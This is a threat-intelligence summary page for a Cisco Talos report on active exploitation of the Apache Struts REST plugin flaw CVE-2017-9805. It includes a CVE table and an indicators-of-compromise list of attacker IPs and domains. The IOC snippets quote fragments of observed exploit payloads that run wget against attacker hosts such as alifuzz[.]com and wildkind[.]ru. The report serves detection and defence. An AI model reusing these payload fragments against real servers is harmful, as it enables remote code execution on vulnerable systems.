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Another Apache Struts Vulnerability Under Active Exploitation

Cisco Talosby Nick Biasini ()4 min read2
Analyze CVE-2017-9805 with Vani AIImpact, affected versions, exploitation, mitigations and detection

Vulnerabilities mentioned

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CVEVulnerabilityCVSSEPSSSignalsPublished
CVE-2017-5638
Unauthenticated RCE in Apache Struts Jakarta Multipart parser
9.8100%KEVRansomwarePoC ×10
KEV
CVE-2017-9805
XML Deserialization RCE in Apache Struts 2 REST Plugin
8.199%KEVPoC
KEV

Indicators of compromise

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TypeIndicatorContext
domainalifuzz.comfound below. <string>wget</string><string>hxxp://st2buzgajl.alifuzz[.]com/052</string> Unfortunately, we were unable to retrieve th
domainwildkind.rustring><string>-c</string><string>wget -qO /dev/null http://wildkind[.]ru:8082/?vulnerablesite</string> This would initiate a wget
ipv4101.37.175.165ous payloads. IOCs IP Addresses Observed: 188.120.246[.]215 101.37.175[.]165 162.158.182[.]26 162.158.111[.]235 141.101.76[.]226 141.1
ipv4141.101.105.2405[.]165 162.158.182[.]26 162.158.111[.]235 141.101.76[.]226 141.101.105[.]240 Domains Contacted: wildkind[.]ru st2buzgajl.alifuzz[.]com
ipv4141.101.76.2266[.]215 101.37.175[.]165 162.158.182[.]26 162.158.111[.]235 141.101.76[.]226 141.101.105[.]240 Domains Contacted: wildkind[.]ru st2buz
ipv4162.158.111.235served: 188.120.246[.]215 101.37.175[.]165 162.158.182[.]26 162.158.111[.]235 141.101.76[.]226 141.101.105[.]240 Domains Contacted: wil
ipv4162.158.182.26s IP Addresses Observed: 188.120.246[.]215 101.37.175[.]165 162.158.182[.]26 162.158.111[.]235 141.101.76[.]226 141.101.105[.]240 Doma
ipv4188.120.246.215rious other malicious payloads. IOCs IP Addresses Observed: 188.120.246[.]215 101.37.175[.]165 162.158.182[.]26 162.158.111[.]235 141.1
urlhttp://st2buzgajl.alifuzz.com/052n attempts can be found below. <string>wget</string><string>hxxp://st2buzgajl.alifuzz[.]com/052</string> Unfortunately, we were unable to retrieve the po

From the original article

4 min read at blog.talosintelligence.com

This post authored by Nick Biasini with contributions from Alex Chiu . Earlier this week, a critical vulnerability in Apache Struts was publicly disclosed in a security advisory. This new vulnerability, identified as CVE-2017-9805, manifests due to the way the REST plugin uses XStreamHandler with an instance of XStream for deserialization without any type filtering.

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